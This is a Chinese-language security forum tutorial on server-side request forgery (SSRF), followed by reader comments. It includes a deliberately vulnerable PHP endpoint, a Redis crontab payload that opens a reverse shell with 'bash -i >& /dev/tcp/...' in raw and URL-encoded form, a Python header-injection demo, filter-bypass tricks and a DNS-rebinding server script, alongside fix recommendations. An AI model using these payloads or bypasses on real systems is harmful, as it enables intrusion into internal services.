SSRF漏洞(原理&绕过姿势)
[+] Author: Hope
[+] Team: 希望Team
0x00 前言
文章不足之处,望多指正。
0x01 概述
SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务。
利用SSRF能实现以下效果:
1) 扫描内网(主机信息收集,Web应用指纹识别)
2) 根据所识别应用发送构造的Payload进行攻击
3) Denial of service
0x02 漏洞利用
a) SSRF in PHP
1. 环境搭建
<?PHP
$URL = $_GET['URL'];
$CH = CURL_INIT();
CURL_SETOPT($CH, CURLOPT_URL, $URL);
CURL_SETOPT($CH, CURLOPT_HEADER, FALSE);
CURL_SETOPT($CH, CURLOPT_RETURNTRANSFER, TRUE);
CURL_SETOPT($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
// 允许302跳转
CURL_SETOPT($CH, CURLOPT_FOLLOWLOCATION, TRUE);
$RES = CURL_EXEC($CH);
// 设置CONTENT-TYPE
HEADER('CONTENT-TYPE: IMAGE/PNG');
CURL_CLOSE($CH) ;
//返回响应
ECHO $RES;
?>
方便大家更直观了解,上述代码用来模拟ssrf,使用curl发起网络请求然后返回客户端,这里我请求加载图片
2. 利用方式
一般发起网络请求中会使用libcurl库,来看下它所支持的协议
除了http/https,还有一些可利用的协议如下
DICT
除了泄露安装软件版本信息,还可以查看端口,操作内网redis服务等
File
Gopher
万能协议(利用Gopher攻击Redis、攻击Fastcgi 等
FTP(S)/SMB(S)
匿名访问及爆破
Tftp
UDP协议 发送UDP数据包
Telnet
SSH/Telnet匿名访问及爆破
3. 总结
file_get_contents()
fsockopen()
curl_exec()
以上三个函数使用不当会造成SSRF漏洞
大部分 PHP 并不会开启 fopen 的 gopher wrapper
file_get_contents 的 gopher 协议不能 URLencode
file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
curl_exec() //默认不跟踪跳转,
file_get_contents() // file_get_contents支持php://input协议
修复方案:
• 限制协议为HTTP、HTTPS
• 禁止30x跳转
• 设置URL白名单或者限制内网IP
需要注意的是,回显是能否成功利用的重要的条件,在某些场景协议限定为HTTP模式且没有回显,利用
会相对复杂了。
b) SSRF in Java
1. 环境搭建
编写脚本扫描内网开放端口的主机
通过ssrf 探测到内网中redis服务器 ‘172.19.0.2:6379’正常访问
构造脚本写入 目录‘/etc/crontab‘
```
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
```
进行url编码:
```
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
```
反弹shell
2. 利用方式
网络请求支持的协议如下
http,https,file,ftp,mailto,jar,netdoc
对比php的ssrf,java这块利用相对局限,
3. 总结
以下几种类引用不当会造成SSRF
Request类,URL类的openStream,HttpClient类,URLConnection和HttpURLConnection类,
修复方案:
• 限制协议为HTTP、HTTPS
• 不用限制302重定向
• 设置URL白名单或者限制内网IP
c) SSRF in Python
1. 环境搭建
HTTP Header Injection in Python urllib ,
当使用了Python 的urllib库,请求url为用户可控时,就可能存在ssrf漏洞,且可以通过漏洞python urllib http头注入实现对内网未授权仿问的redis 服务器getshell
Python 测试脚本代码:test.py
#!/usr/bin/env python3
import sys
import urllib
import urllib.error
import urllib.request
url = sys.argv[1]
try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
./test.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo
GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :12345
Connection: close
2. 漏洞利用
通过Redis的通讯协议来突破空格的限制:(具体利用参考链接下方
3. 总结
修复方案:
1. 解析目标URL,获取其Host
2. 解析Host,获取Host指向的IP地址
3. 检查IP地址是否为内网IP
4. 请求URL
5. 如果有跳转,拿出跳转URL,执行1
0x03 挖掘漏洞
对外发起网络请求的地方都可能存在SSRF漏洞,列举
图片加载下载,分享页面,在线翻译,未公开的api(从远程服务器请求资源
文件处理,编码处理, 属性信息处理,
Ffpmg
ImageMaic
数据库内置功能
PostgreSQL
MongoDB
CouchDB
0x04 绕过技巧
@
添加端口号
短网址绕过
指向任意IP的域名xip.io
10.0.0.1.xip.io resolves to 10.0.0.1
www.10.0.0.1.xip.io resolves to 10.0.0.1
mysite.10.0.0.1.xip.io resolves to 10.0.0.1
foo.bar.10.0.0.1.xip.io resolves to 10.0.0.1
IP限制绕过
十进制转换 八进制转换 十六进制转换 不同进制组合转换
协议限制绕过
栗子
当url协议限定只为http(s)时,可以利用follow redirect 特性
构造302跳转服务,
结合dict:// file:// gopher://
DNS rebinding
DNS重绑定可以利用于ssrf绕过 ,bypass 同源策略等,,,这里介绍三种方法
1. 特定域名实现TTL=0
2. 域名绑定两条A记录
1/4的概率,当第一次解析为外网ip,第二次解析为内网ip,就会成功。
3. 自建DNS服务器
步骤如下:添加一条ns记录和一条a记录
Ns记录表示这个子域名test.h0pe.site指定由ns.h0pe.site域名服务器解析,
A记录表示ns.h0pe.site位置在ip地址xxx.xxx.xxx.xxx上
在这个ip地址上搭建DNS服务器,采用python库中的twisted库中的name模块,核心代码如下:
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name]<1:
ip="104.160.43.154"
else:
ip="171.18.0.2"
if name not in record:
record[name]=0
record[name]+=1
print name+" ===> "+ip
answer = dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
ttl=0,
payload=dns.Record_A(address=b'%s'%ip,ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
raise SystemExit(main())
0x05参考
http://blog.safebuff.com/2016/07/03/SSRF-Tips/
http://wavr.feei.cn/SSRF/
https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
http://bendawang.site/article/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93
https://ricterz.me/posts/%E5%88%A9%E7%94%A8%20gopher%20%E5%8D%8F%E8%AE%AE%E6%8B%93%E5%B1%95%E6%94%BB%E5%87%BB%E9%9D%A2
https://security.tencent.com/index.php/blog/msg/106
TCV=1
PS:有没有在郑州工作的表哥,公司里招不招暑期实习生?有的话可以pm下,感谢
评论44次
感谢,学xi了
1. php CURL_SETOPT方法 通过 `curl -V` 确定支持的协议,这很细,还想着哪有总结好的支持好的协议大全,curl 就有。 2. 今天遇到问题 `SSRF 过滤了数字怎么办`,除了URL跳转、短链接以外,DNS重绑定貌似也可以,域名直接绑定为要探测的内网IP地址。
总结的很好 最近整理笔记恰好可以用到 谢谢
总结得很赞,没想到还有那么多协议可以用
对ssrf还不是太熟悉,看了老哥的文章,学到了很多,感谢
很不错的文章,收藏了
文章中的哪些py脚本文件,可以分享下不?
ssrf的好文章要推荐猪猪侠在2016年乌云大会上的那份ppt,堪称经典了
为什么很多人老是说ssrf是个很鸡肋的漏洞呢
ssrf+redis的反弹内网,猪猪侠以前讲过的。
文章很精彩 受教育了
对web不是很懂,这个文章很适合我!
总结的很全面啊,不错不错
师傅,一般ssrf的漏洞常见的挖法怎么挖
沙龙有个议题,也讲到ssrf
哟!hope、我僵尸复活就发现你的文章了~不错不错
文章总结的很全面。
可以的,谢谢楼主,收藏了
好文。楼主的docker镜像能提供吗,演示用到。
抱歉 参考链接忘贴了,用的是p神的vulhub https://github.com/phith0n/vulhub
好文。楼主的docker镜像能提供吗,演示用到。